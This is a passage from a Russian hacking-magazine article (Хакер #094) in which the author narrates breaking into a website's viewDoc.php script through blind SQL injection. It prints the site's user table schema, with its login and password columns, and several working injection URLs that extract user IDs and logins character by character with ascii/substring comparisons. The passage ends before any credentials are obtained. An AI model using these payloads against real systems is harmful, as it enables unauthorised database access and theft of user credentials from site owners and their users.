Тотальный дестрой TV Longer Хакер, номер #094, стр. 094-078-3 Здесь стоит сделать остановку и пояснить, как работает данный запрос. Я выбрал такое значение параметра docid, которое бы соответствовало реальному обращению к БД. В моем случае, если данных по запросу не было, то выдавалась пустая страница. Функция ascii(ch) возвращает ascii код символа ch; substring(str,num,count) возвращает из строки str, count символов, начиная с символа num. Исходя из того, что сценарий не вернул ничего полезного, прав на заход в mysql.user было явно недостаточно. Продолжу рассказ о трепанации сценария. Я вспомнил, что у меня была структура БД, что явно упрощало действия. Посмотрев ее подробнее, мне удалось найти описание одной из таблиц: CREATE TABLE `user_tbl` ( `user_id` int(11) NOT NULL auto_increment, `type_id` int(11) NOT NULL default '0', `fullname` varchar(255) default NULL, `login` varchar(50) default NULL, `passw` varchar(50) default NULL, `email` varchar(50) default NULL, `lastdate` datetime default NULL, `document` text, `profil` varchar(50) default NULL, `sort` int(11) NOT NULL default '0', `work` int(11) NOT NULL default '0', PRIMARY KEY (`user_id`), KEY `fullname` (`fullname`), KEY `sort` (`sort`), KEY `work` (`work`) ) TYPE=MyISAM AUTO_INCREMENT=14 ; Сформировав запрос viewDoc.php?docid=1+AND+ascii(substring((SELECT+user_id+from+user_tbl+LIMIT+1),1,1))>47, я получил содержимое страницы viewDoc.php?docid=1, что говорило о правдивом результате. Затем сформировал еще один запрос viewDoc.php?docid=1+AND+ascii(substring((SELECT+user_id+from+user_tbl+LIMIT+1),1,1))<55 и опять получил положительный результат. Постепенно я подобрал первый ascii-код символа, и он был равен 49. Потом я решил проверить, имеет ли число больше двух символов: viewDoc.php?docid=1+AND+ascii(substring((SELECT+user_id+from+user_tbl+LIMIT+1),21))>47, и получил false (пустую страницу). Далее было решено узнать логин и пароль. Сделал запрос: viewDoc.php?docid=1+AND+ascii(substring((SELECT+login+from+user_tbl+WHERE+user_id=49+LIMIT+1),1,1))>1. Результат был false. Я выудил еще пару id, у всех был такой же результат. Меня интересовал один-единственный вопрос: есть ли хоть один нормальный id. В этом мне помог запрос viewDoc.php?docid=1+AND+ascii(substring((SELECT+login+from+user_tbl+WHERE+user_id+IS+NOT+NULL+LIMIT+1),1,1))>1 – и опять промах! Время было позднее, я на все забил и лег спать. |